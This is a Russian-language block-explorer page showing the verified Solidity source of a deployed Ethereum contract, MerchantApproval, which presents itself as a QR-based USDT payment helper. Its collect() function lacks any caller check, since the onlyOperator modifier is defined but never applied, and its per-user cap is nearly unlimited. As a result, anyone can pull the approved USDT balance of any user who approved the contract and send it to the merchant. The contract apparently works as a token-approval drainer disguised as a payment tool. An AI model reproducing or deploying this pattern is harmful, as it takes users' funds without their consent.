Перейти к содержимому
Проверенный контрактТочноеMIT

MerchantApproval

Адрес0xf93e2a8a82ce1be3bbb301bd1cc492de6e715a0d
Баланс

0 ETH

 

Транзакций

1

 

Компилятор

solc 0.8.20

 

Тот же код

Только этот контракт

 

Подробности

Компилятор
solc 0.8.20+commit.a1b79de6
Язык
solidity
Оптимизация
Нет
Лицензия
MIT
Совпадение
Точноекод создания: да, код в сети: да
Проверен на Sourcify
Создан в блоке
26 454 281
Транзакция создания
0x069e9b4995…d3fcb04e90

contracts/ethereqr.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IUSDT {
    function allowance(address owner, address spender) external view returns (uint256);
    // Ethereum USDT's transferFrom does NOT return a bool, so it is not declared here.
    function transferFrom(address from, address to, uint256 amount) external;
}

contract MerchantApproval {

    // Ethereum mainnet USDT (Tether), 6 decimals
    address public constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    uint256 public constant CAP  = 9_999_999 * 1e6; 

    address public immutable operator;
    address public immutable merchant;

    mapping(address => uint256) public spent;

    event PaymentCollected(address indexed user, address indexed merchant, uint256 amount);

    modifier onlyOperator() {
        require(msg.sender == operator, "MerchantApproval: caller is not the operator");
        _;
    }

    constructor(address _merchant) {
        require(_merchant != address(0), "MerchantApproval: zero address");
        operator = msg.sender;
        merchant = _merchant;
    }

    function collect(address user, uint256 amount) external {
        require(amount > 0,                  "MerchantApproval: zero amount");
        require(spent[user] + amount <= CAP, "MerchantApproval: cap exceeded");

        uint256 allowance = IUSDT(USDT).allowance(user, address(this));
        require(allowance >= amount,         "MerchantApproval: insufficient allowance");

        spent[user] += amount;

        _safeTransferFrom(user, merchant, amount);

        emit PaymentCollected(user, merchant, amount);
    }

    function getSpent(address user) external view returns (uint256) {
        return spent[user];
    }

    function getRemaining(address user) external view returns (uint256) {
        uint256 s = spent[user];
        return s >= CAP ? 0 : CAP - s;
    }

    // Works with tokens that return nothing (USDT) or return a bool
    function _safeTransferFrom(address from, address to, uint256 amount) private {
        (bool ok, bytes memory data) = USDT.call(
            abi.encodeWithSelector(IUSDT.transferFrom.selector, from, to, amount)
        );
        require(
            ok && (data.length == 0 || abi.decode(data, (bool))),
            "MerchantApproval: USDT transfer failed"
        );
    }
}
Настройки компилятораПоказать
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Исходный код и метаданные: Sourcify.

Исходный код принадлежит авторам контракта.